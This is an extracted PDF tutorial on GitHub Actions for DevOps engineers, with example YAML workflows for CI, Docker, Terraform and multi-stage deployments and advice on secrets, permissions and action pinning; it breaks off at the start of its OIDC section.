

DEVOPSDYNAMO

GitHub Actions

The Complete Guide

A hands-on, example-driven guide built specifically
for DevOps Engineers, from zero to production

2026 Edition | v1.0

By DEVOPSDYNAMO

0 1

1	What is GitHub Actions? (The Big Picture)	3
1.1	Why Should DevOps Engineers Care?	3
1.2	What Can You Automate?	4
2	Core Concepts & Architecture	5
2.1	The 7 Building Blocks	5
2.2	Visual Architecture	5
3	Your First Workflow (Hands-On)	7
3.1	Step 1: Create the Workflow File	7
3.2	Step 2: Understanding Each Line	8
3.3	Step 3: Push and Watch It Run	8
4	Workflow Syntax Deep Dive	9
4.1	Full Workflow Anatomy	9
4.2	Expressions & Contexts	10
4.3	Concurrency Control	10
5	Triggers & Events Explained	12
5.1	Code Events: push & pull_request	12
5.2	Scheduled Events (Cron Jobs)	12
5.3	Manual Triggers (workflow_dispatch)	13
5.4	External Triggers (repository_dispatch)	13
6	Jobs, Steps & Runners	15
6.1	Job Configuration Deep Dive	15
6.2	GitHub-Hosted Runners	16
6.3	Self-Hosted Runners	16
6.4	Step Features: Outputs, Conditions & Error Handling	16
7	Actions: Marketplace & Custom	18
7.1	Essential Actions Every DevOps Engineer Needs	18
7.2	Security: Pinning Actions	18
7.3	Creating Your Own Composite Action	19
8	Secrets, Variables & Environments	21
8.1	Secrets: Storing Sensitive Data	21
8.2	Configuration Variables (Non-Sensitive)	21
8.3	Environments: Your Deployment Safety Net	22
9	Matrix Builds & Parallel Execution	23
9.1	Basic Matrix: Test Across Versions	23
9.2	Include & Exclude: Fine-Tune Combinations	23
9.3	Dynamic Matrix: Generate from Code	24
10	Caching & Artifacts	25
10.1	Caching: Speed Up Every Run	25
10.2	Artifacts: Share Files Between Jobs	26

11 Advanced Patterns	27
11.1 Reusable Workflows (DRY Pipelines).....	27
11.2 Path-Based Conditional Jobs (Monorepo Pattern).....	28
12 Real-World CI/CD Pipeline Examples	30
12.1 Example 1: Docker Build, Push to GHCR, Deploy	30
12.2 Example 2: Terraform Plan on PR, Apply on Merge.....	31
12.3 Example 3: Complete Pipeline	32
13 Security Best Practices	34
13.1 Principle of Least Privilege	34
13.2 OIDC: Eliminate Stored Credentials	34
13.3 Prevent Script Injection	34
13.4 Security Checklist	35
14 Debugging & Troubleshooting	36
14.1 Enable Debug Logging	36
14.2 Workflow Commands Reference	36
14.3 Common Problems & Solutions.....	37
15 Comparison: GitHub Actions vs Others	38
16 Cheat Sheet & Quick Reference	39
16.1 Expression Functions	39
16.2 GITHUB_OUTPUT: Passing Data Between Steps.....	39
16.3 Job Dependency Patterns	40
16.4 Recommended Repository Structure	40
16.5 Key Takeaways : Your GitHub Actions Playbook	41

GitHub Actions is a CI/CD and automation platform built directly into GitHub. It lets you automate anything that happens around your code, building it, testing it, deploying it, and even managing your project, all triggered by events in your repository.

Think of it this way: every time something happens in your repo (someone pushes code, opens a pull request, creates a release), GitHub Actions can automatically respond by running a series of tasks you define.

Imagine a smart home automation system. When you open the front door (event), the lights turn on, the thermostat adjusts, and your favorite music starts playing (jobs/steps). You set up the rules once, and the system reacts automatically. GitHub Actions is exactly that, but for your code repository.

1.1 Why Should DevOps Engineers Care?

Before GitHub Actions, you needed to set up and maintain a separate CI/CD server (Jenkins, TeamCity, Bamboo, etc.), configure webhooks, manage plugins, and deal with infrastructure. GitHub Actions eliminates most of this overhead.

Pain Point (Old Way)	GitHub Actions Solution
Dedicated Jenkins server to maintain	Fully managed, zero infrastructure
Webhook configs between GitHub and CI	Native, lives inside your repo
Plugin compatibility headaches	20,000+ marketplace actions, auto-updated
Separate UI for pipeline management	Integrated into GitHub's UI
Complex Groovy DSL scripting	Simple, readable YAML files
Scaling build agents manually	Auto-scaled cloud runners on demand

A Simple Mental Model: Your repository is a factory. GitHub Actions is the assembly line. Events (like code pushes) are the raw materials arriving. Workflows

are the blueprints that define what the assembly line does. Jobs are workstations, and steps are the individual tasks at each workstation.

1.2 What Can You Automate?

- **Continuous Integration:** Build code, run unit tests, lint, and check code quality on every push or PR.
- **Continuous Deployment:** Deploy to staging/production when code is merged to main.
- **Infrastructure as Code:** Run Terraform/Pulumi plans on PRs, apply on merge.
- **Container Workflows:** Build Docker images, push to registries, scan for vulnerabilities.
- **Release Management:** Auto-generate changelogs, create releases, publish packages.
- **Scheduled Tasks:** Run nightly builds, database backups, security scans on a cron schedule.
- **Project Automation:** Auto-label issues, assign reviewers, close stale PRs.

2 1

Before writing any workflows, you need to understand the building blocks of GitHub Actions. There are 7 core concepts, and they fit together in a clear hierarchy.

KEY CONCEPT

The GitHub Actions Hierarchy:

Repository → Workflow (.yaml file) → Event (trigger) → Job (runs on a runner) → Step (action or command)

2.1 The 7 Building Blocks

Concept	What It Is	<i>Real-World Analogy</i>
Workflow	A YAML file in <code>.github/workflows/</code> that defines your automation	<i>A recipe in a cookbook</i>
Event	Something that triggers the workflow (push, PR, cron, etc.)	<i>Ringling the dinner bell</i>
Job	A set of steps that run on the same machine	<i>A station in a kitchen</i>
Step	A single task, either a shell command or an action	<i>One instruction in the recipe</i>
Action	A reusable, packaged piece of automation	<i>A kitchen appliance</i>
Runner	The virtual machine that executes your job	<i>The kitchen itself</i>
Artifact	A file produced by a job that you want to keep	<i>The finished dish</i>

2.2 Visual Architecture

Listing 2.1: Repository structure

```
1 YOUR-REPOSITORY/  
2   .github/  
3     workflows/
```

```
4      ci.yml          # Workflow #1 (triggered on push)
5      deploy.yml      # Workflow #2 (triggered on merge to main)
6      src/             # Your application code
7      tests/
8      Dockerfile
```

When you push code, here is what happens:

1. PUSH EVENT fires
2. GitHub reads ALL .yaml files in .github/workflows/
3. Matching workflows are queued
4. Each JOB gets assigned to a fresh RUNNER (VM)
5. STEPS in each job execute one-by-one
6. Results are reported back to the GitHub UI

Think of a workflow like a recipe card. The event is when you decide to start cooking. Jobs are the major phases , prep, cook, serve. Steps are the individual instructions. Actions are like kitchen appliances , you do not build a blender every time, you just use one. The runner is the kitchen where everything happens.

Critical Rule: Job Isolation. Each job runs in a completely fresh virtual machine. Nothing is shared between jobs , no files, no environment variables, no installed packages. If Job A produces a file that Job B needs, you must explicitly pass it using artifacts or outputs.

3 1

3.1 Step 1: Create the Workflow File

In your repository, create the directory `.github/workflows/` and add a file called `ci.yml`:

Listing 3.1: `.github/workflows/ci.yml`

```
1 name: My First CI Pipeline
2
3 on:
4   push:
5     branches: [main]
6   pull_request:
7     branches: [main]
8
9 jobs:
10   build-and-test:
11     name: Build & Test
12     runs-on: ubuntu-latest
13     steps:
14       - name: Checkout code
15         uses: actions/checkout@v4
16
17       - name: Setup Node.js
18         uses: actions/setup-node@v4
19         with:
20           node-version: '20'
21
22       - name: Install packages
23         run: npm ci
24
25       - name: Run linter
26         run: npm run lint
27
28       - name: Run tests
29         run: npm test
```

3.2 Step 2: Understanding Each Line

- `name:` —> Display label shown in the GitHub Actions tab.
- `on: push: branches: [main]` —> Run when someone pushes to the main branch.
- `jobs: build-and-test:` —> Defines a job. You can have multiple jobs.
- `runs-on: ubuntu-latest` —> Use a fresh Ubuntu VM from GitHub’s cloud.
- `uses: actions/checkout@v4` —> Pre-built action that clones your repo into the VM.
- `run: npm ci` —> Runs a shell command directly, just like typing in a terminal.

3.3 Step 3: Push and Watch It Run

Commit this file and push to your repository. Go to the **Actions** tab in GitHub , you will see your workflow running in real time. Each step shows its logs, and you will get a green checkmark when everything passes.

Every YAML workflow file you put in `.github/workflows/` becomes an active workflow. You can have as many as you want , one for CI, one for deployment, one for nightly tasks, etc.

KEY CONCEPT

The `uses` vs `run` Difference:

- `uses:` —> Calls a pre-built Action (like a function call). Example: `uses: actions/checkout@v4`
- `run:` —> Executes a raw shell command. Example: `run: npm test`

Think of `uses` as “use this tool” and `run` as “type this command in the terminal”.

4.1 Full Workflow Anatomy

Listing 4.1: Complete workflow anatomy

```
1 name: Production Pipeline
2
3 on:
4   push:
5     branches: [main, develop]
6     paths: ['src/**', 'tests/**']
7   pull_request:
8     branches: [main]
9   schedule:
10    - cron: '0 2 * * 1'
11 workflow_dispatch:
12   inputs:
13     environment:
14       description: 'Deploy target'
15       required: true
16       default: 'staging'
17       type: choice
18       options: [staging, production]
19
20 permissions:
21   contents: read
22   packages: write
23
24 env:
25   APP_NAME: my-app
26   REGISTRY: ghcr.io
27
28 concurrency:
29   group: ${{ github.workflow }}-${{ github.ref }}
30   cancel-in-progress: true
31
32 jobs:
33   build:
34     runs-on: ubuntu-latest
35     timeout-minutes: 15
36     outputs:
37       version: ${{ steps.ver.outputs.tag }}
38     steps:
```

```
39   - uses: actions/checkout@v4
40   - id: ver
41     run: echo "tag=v1.0.${{ github.run_number }}" >>
        $GITHUB_OUTPUT
```

4.2 Expressions & Contexts

GitHub Actions uses the `${{ }}` syntax to access dynamic data. These are called expressions.

Context	What It Contains	Example
<code>github</code>	Event info, repo, branch, SHA	<code>\${{ github.ref_name }}</code>
<code>env</code>	Environment variables	<code>\${{ env.APP_NAME }}</code>
<code>secrets</code>	Encrypted secrets	<code>\${{ secrets.API_KEY }}</code>
<code>steps</code>	Outputs from previous steps	<code>\${{ steps.build.outputs.url }}</code>
<code>matrix</code>	Current matrix combination	<code>\${{ matrix.os }}</code>
<code>needs</code>	Outputs from dependent jobs	<code>\${{ needs.build.outputs.tag }}</code>
<code>runner</code>	Runner machine info	<code>\${{ runner.os }}</code>
<code>job</code>	Current job info	<code>\${{ job.status }}</code>

Expressions in Practice:

Tag a Docker image with the Git commit SHA:

```
docker build -t myapp:${{ github.sha }} .
```

Conditionally run a step only on the main branch:

```
if: github.ref == 'refs/heads/main'
```

Use a secret without exposing it in logs:

```
env:
  API_KEY: ${{ secrets.PRODUCTION_API_KEY }}
```

4.3 Concurrency Control

The `concurrency` key prevents multiple runs of the same workflow from conflicting with each other. This is especially important for deployments.

Imagine a single-lane bridge. The concurrency group is the bridge, only one car (workflow run) can cross at a time. **cancel-in-progress: true** means if a new car arrives, the one currently on the bridge pulls over to let the new one through.

5 1

Triggers are the “when” of your workflow. GitHub Actions supports 35+ different events.

5.1 Code Events: push & pull_request

Listing 5.1: Push and pull_request triggers

```
1 on:
2   push:
3     branches:
4       - main
5       - 'release/**'
6     tags:
7       - 'v*'
8     paths:
9       - 'src/**'
10      - '!src/**/*.md'
11 pull_request:
12   types: [opened, synchronize, reopened]
13   branches: [main]
```

Path Filters in a Monorepo: Imagine a repo with `/frontend` and `/backend` directories. You do not want to rebuild the frontend when only backend code changes:

```
on:
  push:
    paths: ['frontend/**']
```

This saves hundreds of CI minutes per month in a busy monorepo.

5.2 Scheduled Events (Cron Jobs)

Listing 5.2: Schedule triggers

```
1 on:
2   schedule:
3     - cron: '0 6 * * *'      # Every day at 6:00 AM UTC
```

```
4   - cron: '0 2 * * 1'      # Every Monday at 2:00 AM UTC
5   - cron: '*/15 * * * *'  # Every 15 minutes
6
7  # Cron format: minute hour day-of-month month day-of-week
```

Scheduled workflows run on the default branch only and can be delayed up to 15+ minutes during peak load. Do not rely on exact timing for critical operations.

5.3 Manual Triggers (workflow_dispatch)

Listing 5.3: Manual trigger with inputs

```
1  on:
2    workflow_dispatch:
3      inputs:
4        target:
5          description: 'Where to deploy?'
6          required: true
7          type: choice
8          options:
9            - staging
10           - production
11        force:
12          description: 'Skip health checks?'
13          type: boolean
14          default: false
15
16  # Access in steps:
17  # ${ github.event.inputs.target }
18  # ${ github.event.inputs.force }
```

When to Use Manual Triggers:

- Production deployments that require human approval
- Database migrations that should be deliberate
- Rollback procedures you want to invoke on-demand
- Ad-hoc tasks like clearing caches or rotating secrets

5.4 External Triggers (repository_dispatch)

Listing 5.4: External trigger via API

```
1 on:
2   repository_dispatch:
3     types: [deploy, rollback]
4
5 # Trigger via API call:
6 # curl -X POST
7 #   https://api.github.com/repos/OWNER/REPO/dispatches \
8 #   -H "Authorization: token YOUR_PAT" \
9 #   -d '{"event_type": "deploy", "client_payload": {"env":
10 #     "prod"}}'
11
12 # Access payload in workflow:
13 # ${ github.event.client_payload.env }
```

6 1

6.1 Job Configuration Deep Dive

Listing 6.1: Full job configuration

```
1 jobs:
2   test:
3     name: Run Tests
4     runs-on: ubuntu-latest
5     timeout-minutes: 30
6     if: github.event_name == 'push'
7     permissions:
8       contents: read
9     env:
10      CI: true
11      NODE_ENV: test
12     defaults:
13       run:
14         working-directory: ./app
15         shell: bash
16     services:
17       postgres:
18         image: postgres:16
19         env:
20           POSTGRES_PASSWORD: testpass
21           POSTGRES_DB: myapp_test
22         ports: ['5432:5432']
23         options: >-
24           --health-cmd pg_isready
25           --health-interval 10s
26           --health-timeout 5s
27           --health-retries 5
28       redis:
29         image: redis:7
30         ports: ['6379:6379']
31     steps:
32       - uses: actions/checkout@v4
33       - run: npm test
34       env:
35         DATABASE_URL:
36           postgresql://postgres:testpass@localhost/myapp_test
37         REDIS_URL: redis://localhost:6379
```


The `services` block is like having sidecar containers that start alongside your main job. It is similar to Docker Compose, but managed by GitHub. Need a database for integration tests? Just declare it, and it is there when your job starts.

6.2 GitHub-Hosted Runners

Runner	OS	CPUs	RAM	Disk	Cost/min
ubuntu-latest	Ubuntu 24.04	4 vCPUs	16 GB	14 GB	\$0.008
ubuntu-22.04	Ubuntu 22.04	4 vCPUs	16 GB	14 GB	\$0.008
windows-latest	Win Server 2022	4 vCPUs	16 GB	14 GB	\$0.016
macos-latest	macOS 14 (M1)	3 cores	7 GB	14 GB	\$0.080
ubuntu-latest-xl	Ubuntu 24.04	8–64 vCPUs	Up to 256 GB	Up to 2 TB	Varies

6.3 Self-Hosted Runners

Listing 6.2: Using self-hosted runners with labels

```

1 jobs:
2   gpu-training:
3     runs-on: [self-hosted, linux, gpu, a100]
4
5   internal-deploy:
6     runs-on: [self-hosted, linux, production]
```

NEVER use self-hosted runners with public repositories. Anyone can fork your repo, modify the workflow, and execute arbitrary code on your self-hosted runner. Use them only with private repos.

6.4 Step Features: Outputs, Conditions & Error Handling

Listing 6.3: Step conditions and outputs

```

1 steps:
2   - name: Check deployment readiness
```

```
3   id: check
4   run: |
5       if curl -s https://api.example.com/health | grep -q "ok";
6           then
7               echo "ready=true" >> $GITHUB_OUTPUT
8           else
9               echo "ready=false" >> $GITHUB_OUTPUT
10          fi
11
12 - name: Deploy (only if ready)
13   if: steps.check.outputs.ready == 'true'
14   run: ./deploy.sh
15
16 - name: Notify on failure
17   if: failure()
18   run: |
19       curl -X POST ${ secrets.SLACK_WEBHOOK } \
20           -d '{"text": "Deployment failed!"}'
21
22 - name: Cleanup (always runs)
23   if: always()
24   run: ./cleanup.sh
```

Status Check Functions:

- `success()` —> Step runs only if all previous steps succeeded (default)
- `failure()` —> Step runs only if any previous step failed
- `always()` —> Step ALWAYS runs, even if the job was cancelled
- `cancelled()` —> Step runs only if the workflow was cancelled

7.1 Essential Actions Every DevOps Engineer Needs

Action	What It Does
<code>actions/checkout@v4</code>	Clones your repo into the runner (99% of workflows start here)
<code>actions/setup-node@v4</code>	Installs Node.js and optionally caches npm/yarn
<code>actions/setup-python@v5</code>	Installs Python and optionally caches pip
<code>actions/cache@v4</code>	Caches files between workflow runs
<code>actions/upload-artifact@v4</code>	Saves files from a job for later use or download
<code>actions/download-artifact@v4</code>	Downloads artifacts from another job
<code>docker/build-push-action@v5</code>	Builds and pushes Docker images with Buildx
<code>docker/login-action@v3</code>	Authenticates to Docker Hub, GHCR, ECR, etc.
<code>aws-actions/configure-aws-credentials@v4</code>	Configures AWS credentials (supports OIDC)
<code>hashicorp/setup-terraform@v3</code>	Installs and configures Terraform CLI
<code>actions/github-script@v7</code>	Run JavaScript to interact with GitHub API directly

7.2 Security: Pinning Actions

Listing 7.1: Action pinning

```
1 # MOST SECURE: Pin to full commit SHA
2 - uses:
3   actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
4 # ACCEPTABLE: Pin to version tag
5 - uses: actions/checkout@v4
6
7 # RISKY: Pin to branch (mutable)
8 - uses: actions/checkout@main # DO NOT DO THIS IN PRODUCTION
```

A malicious or compromised action can steal your secrets, modify your code, or access your cloud infrastructure. Always pin to SHA for production workflows, or at minimum use version tags.

7.3 Creating Your Own Composite Action

Listing 7.2: .github/actions/setup-and-deploy/action.yml

```
1 name: 'Setup & Deploy'
2 description: 'Configure tools and deploy application'
3
4 inputs:
5   environment:
6     description: 'Target environment (staging/production)'
7     required: true
8   aws-role:
9     description: 'AWS IAM role ARN for OIDC'
10    required: true
11
12 outputs:
13   deploy-url:
14     description: 'URL of the deployment'
15     value: ${{ steps.deploy.outputs.url }}
16
17 runs:
18   using: 'composite'
19   steps:
20     - name: Configure AWS
21       uses: aws-actions/configure-aws-credentials@v4
22       with:
23         role-to-assume: ${{ inputs.aws-role }}
24         aws-region: us-east-1
25
26     - name: Deploy
27       id: deploy
28       shell: bash
```

```
29     run: |
30         echo "Deploying to ${ inputs.environment }..."
31         URL=$(aws ecs deploy --cluster ${ inputs.environment
32             })
33         echo "url=$URL" >> $GITHUB_OUTPUT
```

Listing 7.3: Using your custom action in a workflow

```
1 jobs:
2   deploy:
3     runs-on: ubuntu-latest
4     steps:
5       - uses: actions/checkout@v4
6       - uses: ../github/actions/setup-and-deploy
7         with:
8           environment: staging
9           aws-role: arn:aws:iam::123456:role/github
```

8 1

8.1 Secrets: Storing Sensitive Data

Listing 8.1: Using secrets

```
1 steps:
2   - name: Deploy to production
3     env:
4       AWS_ACCESS_KEY_ID: ${ secrets.AWS_ACCESS_KEY_ID }
5       AWS_SECRET_ACCESS_KEY: ${ secrets.AWS_SECRET_ACCESS_KEY
6         }
7       DATABASE_URL: ${ secrets.PROD_DATABASE_URL }
8     run: ./deploy.sh
9   - name: Push Docker image
10    run: |
11      echo "${ secrets.GITHUB_TOKEN }" | \
12        docker login ghcr.io -u ${ github.actor }
13        --password-stdin
14      docker push ghcr.io/myorg/myapp:latest
```

NEVER echo secrets, print them, or use them in command-line arguments where they might appear in process listings. Always pass secrets through environment variables.

8.2 Configuration Variables (Non-Sensitive)

Listing 8.2: Using configuration variables

```
1 # Set in: Settings > Secrets and Variables > Variables
2 env:
3   APP_NAME: ${ vars.APP_NAME }
4   DEPLOY_REGION: ${ vars.DEPLOY_REGION }
5   FEATURE_FLAG_NEW_UI: ${ vars.ENABLE_NEW_UI }
```

8.3 Environments: Your Deployment Safety Net

Listing 8.3: Environments with protection rules

```
1 jobs:
2   deploy-staging:
3     environment: staging
4     runs-on: ubuntu-latest
5     steps:
6       - run: echo "Deploying to ${vars.URL}"
7
8   deploy-production:
9     needs: deploy-staging
10    environment:
11      name: production
12      url: https://app.example.com
13    runs-on: ubuntu-latest
14    steps:
15      - run: echo "Deploying to production"
```

KEY CONCEPT

Environment Protection Rules:

- **Required Reviewers:** Specific people must approve before the job runs (up to 6)
- **Wait Timer:** Mandatory delay before deployment (e.g., 30 minutes for production)
- **Branch Restrictions:** Only specific branches can deploy to this environment
- **Custom Rules:** Integrate external systems (PagerDuty, Datadog) for deployment gates

Complete Secret Hierarchy (Priority Order):

1. Environment secrets (highest priority , override everything)
2. Repository secrets (middle priority)
3. Organization secrets (lowest priority , good for shared credentials)

This means you can have a `DATABASE_URL` organization secret for dev, a repository secret for staging, and an environment secret for production , each overrides the previous.

9.1 Basic Matrix: Test Across Versions

Listing 9.1: Matrix strategy

```
1 jobs:
2   test:
3     strategy:
4       matrix:
5         os: [ubuntu-latest, windows-latest, macos-latest]
6         node: [18, 20, 22]
7         fail-fast: false
8         max-parallel: 6
9   runs-on: ${ matrix.os }
10  name: Test on ${ matrix.os } / Node ${ matrix.node }
11  steps:
12    - uses: actions/checkout@v4
13    - uses: actions/setup-node@v4
14      with:
15        node-version: ${ matrix.node }
16    - run: npm ci && npm test
```

The matrix above generates $3 \times 3 = 9$ parallel jobs running simultaneously (up to `max-parallel`). Your test results show a grid of green/red checkmarks for each combination.

9.2 Include & Exclude: Fine-Tune Combinations

Listing 9.2: Matrix include and exclude

```
1 strategy:
2   matrix:
3     os: [ubuntu-latest, windows-latest]
4     python: ['3.10', '3.11', '3.12']
5     exclude:
6       - os: windows-latest
7         python: '3.10'
8     include:
```



```
9     - os: ubuntu-latest
10       python: '3.12'
11       coverage: true
12     - os: macos-latest
13       python: '3.12'
```

9.3 Dynamic Matrix: Generate from Code

Listing 9.3: Dynamic matrix generation

```
1 jobs:
2   detect-services:
3     runs-on: ubuntu-latest
4     outputs:
5       matrix: ${{ steps.set.outputs.matrix }}
6     steps:
7       - uses: actions/checkout@v4
8       - id: set
9         run: |
10           SERVICES=$(find services/ -name Dockerfile -exec
11             dirname {} \; | \
12             jq -R -s -c 'split("\n")[:-1]')
13           echo "matrix={\"service\": $SERVICES}" >>
14             $GITHUB_OUTPUT
15
16   build:
17     needs: detect-services
18     strategy:
19       matrix: ${{
20         fromJson(needs.detect-services.outputs.matrix) }}
21     runs-on: ubuntu-latest
22     steps:
23       - run: echo "Building ${{ matrix.service }}"
```

Think of a matrix build like a scientific experiment. You have variables (OS, language version) and you want to test every combination. Instead of writing 9 separate jobs, you define the variables once and GitHub generates all the combinations automatically.

10 1

10.1 Caching: Speed Up Every Run

Listing 10.1: Caching strategies

```
1 # METHOD 1: Built-in caching (simplest)
2 - uses: actions/setup-node@v4
3   with:
4     node-version: '20'
5     cache: 'npm'
6
7 # METHOD 2: Explicit caching (more control)
8 - name: Cache node_modules
9   uses: actions/cache@v4
10  with:
11    path: node_modules
12    key: ${{ runner.os }}-modules-${{
13      hashFiles('package-lock.json') }}
14    restore-keys: |
15      ${{ runner.os }}-modules -
```

Cache Detail	Value
Max total cache per repo	10 GB
Max single cache entry	10 GB
Auto-eviction	LRU (least recently used) when 10 GB limit reached
Cache lifetime	7 days since last access
Scope	Branch-scoped (falls back to default branch cache)

Cache Key Strategy:

1. GitHub looks for an exact match on the key
2. If no exact match, it tries **restore-keys** in order (prefix matching)
3. If found, it restores the cache. If not, it is a fresh install.
4. After the job, if the key is new, the cache is saved for next time.

Use `hashFiles()` on your lockfile so the cache updates only when dependencies change.

10.2 Artifacts: Share Files Between Jobs

Listing 10.2: Uploading and downloading artifacts

```
1 jobs:
2   build:
3     runs-on: ubuntu-latest
4     steps:
5       - uses: actions/checkout@v4
6       - run: npm ci && npm run build
7       - name: Upload build output
8         uses: actions/upload-artifact@v4
9         with:
10          name: dist-files
11          path: dist/
12          retention-days: 5
13
14   deploy:
15     needs: build
16     runs-on: ubuntu-latest
17     steps:
18       - name: Download build output
19         uses: actions/download-artifact@v4
20         with:
21          name: dist-files
22          path: ./dist
23       - run: ls -la dist/
24       - run: ./deploy.sh dist/
```

Use **caching** for inputs (dependencies you download). Use **artifacts** for outputs (files you produce). They serve different purposes!

11 1

11.1 Reusable Workflows (DRY Pipelines)

Listing 11.1: Reusable workflow definition

```
1 # FILE: .github/workflows/reusable-deploy.yml
2 name: Deploy
3 on:
4   workflow_call:
5     inputs:
6       environment:
7         required: true
8         type: string
9       image_tag:
10        required: true
11        type: string
12     secrets:
13       AWS_ROLE:
14         required: true
15     outputs:
16       url:
17         value: ${jobs.deploy.outputs.url}
18
19 jobs:
20   deploy:
21     runs-on: ubuntu-latest
22     environment: ${inputs.environment}
23     outputs:
24       url: ${steps.deploy.outputs.url}
25     steps:
26       - uses: actions/checkout@v4
27       - name: Deploy
28         id: deploy
29         run: |
30           echo "url=https://${inputs.environment}
31             }.example.com" \
32             >> $GITHUB_OUTPUT
```

Listing 11.2: Calling a reusable workflow

```
1 # FILE: .github/workflows/main.yml
2 jobs:
3   staging:
4     needs: build
```

```
5   uses: ../github/workflows/reusable-deploy.yml
6   with:
7     environment: staging
8     image_tag: ${ needs.build.outputs.tag }}
9   secrets:
10     AWS_ROLE: ${ secrets.STAGING_AWS_ROLE }}
11
12   production:
13     needs: staging
14     uses: ../github/workflows/reusable-deploy.yml
15     with:
16       environment: production
17       image_tag: ${ needs.build.outputs.tag }}
18     secrets:
19       AWS_ROLE: ${ secrets.PROD_AWS_ROLE }}
```

11.2 Path-Based Conditional Jobs (Monorepo Pattern)

Listing 11.3: Monorepo path filtering

```
1 jobs:
2   changes:
3     runs-on: ubuntu-latest
4     outputs:
5       backend: ${ steps.filter.outputs.backend }}
6       frontend: ${ steps.filter.outputs.frontend }}
7       infra: ${ steps.filter.outputs.infra }}
8     steps:
9       - uses: actions/checkout@v4
10      - uses: dorny/paths-filter@v3
11        id: filter
12        with:
13          filters: |
14            backend:
15              - 'api/**'
16              - 'shared/**'
17            frontend:
18              - 'web/**'
19              - 'shared/**'
20            infra:
21              - 'terraform/**'
22
23   test-backend:
24     needs: changes
25     if: needs.changes.outputs.backend == 'true'
26     runs-on: ubuntu-latest
27     steps:
```

```
28     - run: echo "Only runs when backend code changed!"
29
30 test-frontend:
31   needs: changes
32   if: needs.changes.outputs.frontend == 'true'
33   runs-on: ubuntu-latest
34   steps:
35     - run: echo "Only runs when frontend code changed!"
```

Why Path Filtering Matters: In a monorepo with 50 pushes/day, without path filtering you would run ALL tests for ALL services on EVERY push. With path filtering, you only test what changed. This can reduce CI costs by 60–80% and dramatically speed up feedback loops.

12 1

12.1 Example 1: Docker Build, Push to GHCR, Deploy

Listing 12.1: Docker CI/CD pipeline

```
1 name: Docker CI/CD
2 on:
3   push:
4     branches: [main]
5     tags: ['v*']
6
7 env:
8   REGISTRY: ghcr.io
9   IMAGE: ${ github.repository }
10
11 jobs:
12   build-push:
13     runs-on: ubuntu-latest
14     permissions:
15       contents: read
16       packages: write
17     outputs:
18       digest: ${ steps.build.outputs.digest }
19     steps:
20       - uses: actions/checkout@v4
21       - uses: docker/setup-buildx-action@v3
22
23       - name: Login to GHCR
24         uses: docker/login-action@v3
25         with:
26           registry: ghcr.io
27           username: ${ github.actor }
28           password: ${ secrets.GITHUB_TOKEN }
29
30       - name: Build & Push
31         id: build
32         uses: docker/build-push-action@v5
33         with:
34           context: .
35           push: true
36           tags: |
```

```
37     ${ env.REGISTRY }}/${ env.IMAGE }}:${ github.sha
38     }}
39     ${ env.REGISTRY }}/${ env.IMAGE }}:latest
40     cache-from: type=gha
    cache-to: type=gha,mode=max
```

12.2 Example 2: Terraform Plan on PR, Apply on Merge

Listing 12.2: Infrastructure as Code pipeline

```
1 name: Infrastructure
2 on:
3   pull_request:
4     paths: ['infra/**']
5   push:
6     branches: [main]
7     paths: ['infra/**']
8
9 jobs:
10  terraform:
11    runs-on: ubuntu-latest
12    permissions:
13      pull-requests: write
14      id-token: write
15    defaults:
16      run:
17        working-directory: infra/
18    steps:
19      - uses: actions/checkout@v4
20
21      - name: Auth to AWS via OIDC (no stored keys)
22        uses: aws-actions/configure-aws-credentials@v4
23        with:
24          role-to-assume: ${ secrets.AWS_ROLE_ARN }}
25          aws-region: us-east-1
26
27      - uses: hashicorp/setup-terraform@v3
28      - run: terraform init
29      - run: terraform validate
30
31      - name: Plan
32        id: plan
33        run: terraform plan -no-color -out=plan.tfplan
34
35      - name: Comment plan on PR
36        if: github.event_name == 'pull_request'
37        uses: actions/github-script@v7
```



```
38     with:
39         script: |
40             const plan = `${{ steps.plan.outputs.stdout }}`;
41             github.rest.issues.createComment({
42                 issue_number: context.issue.number,
43                 owner: context.repo.owner,
44                 repo: context.repo.repo,
45                 body: '### Terraform Plan\n' + plan.slice(0,
46                     60000) + '\n'
47             });
48
49 - name: Apply (only on merge to main)
50   if: github.ref == 'refs/heads/main'
51   run: terraform apply -auto-approve plan.tfplan
```

12.3 Example 3: Complete Pipeline

Listing 12.3: Full multi-phase pipeline

```
1 name: Full Pipeline
2 on:
3   push:
4     branches: [main]
5
6 concurrency:
7   group: deploy-${{ github.ref }}
8   cancel-in-progress: false
9
10 jobs:
11   # Phase 1: Quality Gates
12   lint:
13     runs-on: ubuntu-latest
14     steps:
15       - uses: actions/checkout@v4
16       - uses: actions/setup-node@v4
17         with: { node-version: '20', cache: 'npm' }
18       - run: npm ci && npm run lint
19
20   test:
21     runs-on: ubuntu-latest
22     services:
23       postgres:
24         image: postgres:16
25         env: { POSTGRES_PASSWORD: test }
26         ports: ['5432:5432']
27     steps:
28       - uses: actions/checkout@v4
29       - uses: actions/setup-node@v4
```

```
30     with: { node-version: '20', cache: 'npm' }
31     - run: npm ci && npm test
32
33 security-scan:
34   runs-on: ubuntu-latest
35   steps:
36     - uses: actions/checkout@v4
37     - run: npm audit --audit-level=high
38
39 # Phase 2: Build
40 build:
41   needs: [lint, test, security-scan]
42   runs-on: ubuntu-latest
43   outputs:
44     image_tag: ghcr.io/myorg/app:${{ github.sha }}
45   steps:
46     - uses: actions/checkout@v4
47     - uses: docker/build-push-action@v5
48       with:
49         push: true
50         tags: ghcr.io/myorg/app:${{ github.sha }}
51
52 # Phase 3: Deploy to Staging
53 deploy-staging:
54   needs: build
55   environment: staging
56   runs-on: ubuntu-latest
57   steps:
58     - run: kubectl set image deploy/app app=${{
59       needs.build.outputs.image_tag }}
60
61 # Phase 4: Integration Tests
62 e2e-tests:
63   needs: deploy-staging
64   runs-on: ubuntu-latest
65   steps:
66     - uses: actions/checkout@v4
67     - run: npm run test:e2e --
68       --base-url=https://staging.example.com
69
70 # Phase 5: Deploy to Production (with approval gate)
71 deploy-production:
72   needs: e2e-tests
73   environment:
74     name: production
75     url: https://app.example.com
76   runs-on: ubuntu-latest
77   steps:
78     - run: kubectl set image deploy/app app=${{
79       needs.build.outputs.image_tag }}
80     - run: kubectl rollout status deploy/app --timeout=300s
```

13 1

13.1 Principle of Least Privilege

Listing 13.1: Explicit permission scoping

```
1 # Always define explicit permissions
2 permissions:
3   contents: read
4   packages: write
5
6 # Or lock down completely and enable per-job
7 permissions: {}
8
9 jobs:
10  deploy:
11    permissions:
12      id-token: write
```

13.2 OIDC: Eliminate Stored Credentials

Listing 13.2: OIDC vs static credentials

```
1 # BEFORE (risky -- static credentials stored as secrets):
